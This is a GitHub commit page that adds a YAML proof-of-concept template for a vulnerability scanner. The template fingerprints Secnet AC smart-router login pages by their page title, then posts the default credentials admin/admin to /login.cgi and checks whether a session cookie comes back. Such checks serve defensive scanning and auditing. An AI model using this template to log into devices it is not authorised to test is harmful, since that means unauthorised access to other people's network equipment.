Skip to content

Commit

Permalink
poc-yaml-secnet-ac-default-password (chaitin#1472)
Browse files Browse the repository at this point in the history
* Update secnet-ac-default-password.yml

Co-authored-by: smile-jpg <[email protected]>
  • Loading branch information
nu0l and smile-jpg authored Nov 10, 2021
1 parent 4cc5e08 commit 521a20a
Showing 1 changed file with 23 additions and 0 deletions.
23 changes: 23 additions & 0 deletions pocs/secnet-ac-default-password.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
name: poc-yaml-secnet-ac-default-password
manual: true
transport: http
rules:
uc1:
request:
cache: true
method: GET
path: /login.html
expression: response.status == 200 && response.body.bcontains(b"<title>安网科技-智能路由系统</title>")
uc2:
request:
cache: true
method: POST
path: /login.cgi
body:
user=admin&password=admin
expression: response.status == 200 && response.headers["Set-Cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_")
expression: uc1() && uc2()
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://bbs.secnet.cn/post/t-30

0 comments on commit 521a20a

Please sign in to comment.